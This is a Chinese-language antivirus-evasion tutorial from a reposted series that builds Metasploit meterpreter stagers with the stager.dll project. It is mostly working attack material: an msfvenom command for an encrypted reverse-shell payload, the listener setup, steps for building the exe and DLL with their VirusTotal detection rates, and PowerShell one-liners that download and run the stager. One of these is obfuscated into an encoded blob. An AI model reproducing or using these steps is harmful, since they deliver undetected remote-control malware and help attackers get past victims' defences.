【免殺73】使用stager.dll的多種免殺方式


​2020年初,從網上搜集了多種免殺工具和方式,匯總整理了遠控免殺專題文章的工具篇、代碼篇、白名單篇等,共70篇文章。現時隔一年,聽到不少免殺愛好者的追更訴求,同時也看到了很多新的bypassAV的工具和技巧,於是想把這個系列繼續補充一些,內容也都是來自互聯網,匯總到一起只是方便大家查閱參考。


免殺專題已完成的文章及相關軟件下載: https://github.com/TideSec/BypassAntiVirus
免殺專題在線文庫: https://www.yuque.com/tidesec/bypassav

0x01 配置准備msf
使用msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST=10.211.55.2 LPORT=5555  RC4PASSWORD=tidesec --encrypt aes256 --encrypt-iv 6295259629525900 --encrypt-key 17178930171789301717893017178930 -f c -o meterpreter.c

在msf上進行監聽
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4
msf5 exploit(multi/handler) > set lhost 10.211.55.2
msf5 exploit(multi/handler) > set lport 5555
msf5 exploit(multi/handler) > set RC4PASSWORD tidesec
 

0x02 使用stager生成exe(VT查殺率7/72)
 

在vs中新建空項目,我這里是Project5
577CBCA6-B8CF-4748-936B-7528A85FF63A.png)
新建源文件stager.cpp和aes.cpp,新建頭文件aes.h
然后將 https://github.com/phackt/stager.dll中的相應文件內容復制到相應文件。

因為我msf生成的是x86,所以我是從stager_exe_32.cpp中復制內容到stager.cpp。
然后修改stager.cpp中的shellcode和密鑰。

生成exe后,執行Project.exe。

msf中可上線

virustotal.com上查殺率為7/72

0x03 使用stager生成dll(VT查殺率0/71)
還是和上面一樣,新建項目和三個文件,因為是生成dll文件,所以是從stager_dll_32.cpp中復制內容到stager.cpp,而不是上面的stager_exe_32.cpp。
然后修改shellcode和key值。

項目屬性,修改為dll文件

生成dll文件,使用rundll32.exe Project5.dll,Exec可執行。此處也可以使用rundll32.exe Project5.dll,#1也可執行。

msf中可以正常上線

virustotal.com上查殺率為0/71

0x04 powershell免殺處理(VT查殺率5/59)
在powershell中執行
$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');

或者直接powershell一句話執行
powershell -c "$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');"


將上面內容保存為dropper.ps1,使用Invoke-Obfuscation對其進行混淆。
cd Invoke-Obfuscation && powershell -exec bypass -c "Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation"

然后
SET SCRIPTPATH c:\test\dropper.ps1TOKEN\ALL\1,BACK,MEMBER\1,BACK,WHITESPACE\1,1,1,HOME,STRING\3,HOME,COMPRESS\1,Launcher\PS\234567\Copy


PoWeRsheLL  -NOlo  -wIn  1 -noNI  -NOpROfiL -EXecUT  bypASS -CO  "(NeW-ObJect Io.cOMpressiON.dEFLATESTreAm([sYSTEM.io.MEmORystREam] [CONVeRt]::frOmBaSe64string( 'XVRtT+JAEP4rE2JsG2ilheKh8cOFw8udHiVqOI3xA5RFampLoLxca//7zcxut6Kmu7Mddp55npnpvcjAbGzXjWZjPInThgV4BMswkij4bb/4XqvntbrP4XC8+RMMLiaJOAHT+bB6nZf19+XguWXMHoUhBtN4LO5s6FavrbbnSrPZ/qaMrjJM+vlKrEO7r6M8hbkBoB3g9SvPbh0eeaBXuSz/XEU+95XRP/8KYeHlSwAL/40mwuCShwLhWvgc8DRs0Xt8wnyBq30YP5RuUbYLco7xeQDUBOg2NAHKIRq3ES43/WBRIPsWagYygMcQOa4UvYN7HDMUeQl5nmzX+GJh44GAcPMKgkMDEccPDGOCKW6C3Shy8GSp2AcRx2IpbYpecdioPdsSLQKhEAsb6vjtouwQCjNCOibuThmKR6Qg0CYWQH8oFDAkEgpzChbJ/DnuajV1JEFJKI9j3MRyUyeVpFE2VWJyBmiWbYKgVDAJr6A3+Lif2L6nWFcFmtFlrSHBBrbcFehejGo8wn+badoLrl6HGXtFDQNcQgJjfqfKBL1fscFLORA3fbSCgyhmuLM0JAxOBftF/At1uyYiVfX5Jqaz1JmoZElo1/VUieK586TzXovXabY58xzfV3yktk7bRePs7GKVZbpj1Z1Y/kS3T7uWtexyH/kVX+xYbKIU3ZMR1dHh7FWeIo5UIlN8k1LYZJ/+UMXVqNdzPALryt0kW4kkVWMhO0nqYmkJZa7vVYMmgqYlHszE37pwToZl1Jwz7SDYSqTNv/t6mDJpgipx1VI+E8fEekXdZ27B+nCSuJjcWwoppIZ/q+PuZR74zAIaf5kJwfCwULcy7aO2lfo6un9Ub/F3huiToGpwcqo5sYIvX5dqELn/oCktC7SKUk+KlqA1vaPbR/1A3SF+KpT3tNZ2LqkeA7I2nULyke1DiZ/qITCl1QSdAsbYrdU4Anxy4BCsqMI4BkNS6GJCDSToM8LeK6iGqxzeRnKarvk7w/NkmCY0iOslnGzvVrvb4BlscB3HNtXZicXoNVuC9WK/pVFiGB8QDQ//AQ=='),[SysteM.iO.COMPResSiON.comPresSIonmodE]::DeCoMpREsS ) |FOreACH-OBJeCT{NeW-ObJect io.sTreAmrEadeR( $_ , [tEXt.ENcODiNG]::AsCiI ) } ).readTOeND() |.((VarIAble '*mdr*').NaME[3,11,2]-Join'')"
 

可直接執行上面的代碼,可回連。


將上面代碼保存為stager.ps1,放在web目錄下。可以使用下面的代碼來下載stager.ps1並執行,不過我執行沒能成功回連。本地執行stager.ps1也沒能成功。

powershell.exe -nop -w 1 $e=(New-Object System.Net.WebClient).DownloadString(\"http://10.211.55.2/stager.ps1\"); IEX $e'!'A1'

stager.ps1文件免殺情況

0x05 cl.exe編譯問題
 
https://github.com/phackt/stager.dll中給出的編譯是使用cl.exe,但由於我本地是使用的非完整版vs2017,環境變量沒有配置完善,所以導致在使用cl.exe編譯時,依賴頭文件和lib文件出現很多問題。
最后是設置lib變量:C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\um\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86;C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\ucrt\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86

設置include變量:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\include;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\winrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\um;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\ucrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\shared

設置path:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\bin\HostX86\x86

編譯命令
cl.exe /LD /MT /EHa stager.cpp aes.cpp /Fe:stager.dll



cl編譯問題參考: http://www.voidcn.com/article/p-vqunffcz-bkc.html

0x06 參考資料

stager.dll項目地址: https://github.com/phackt/stager.dll


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM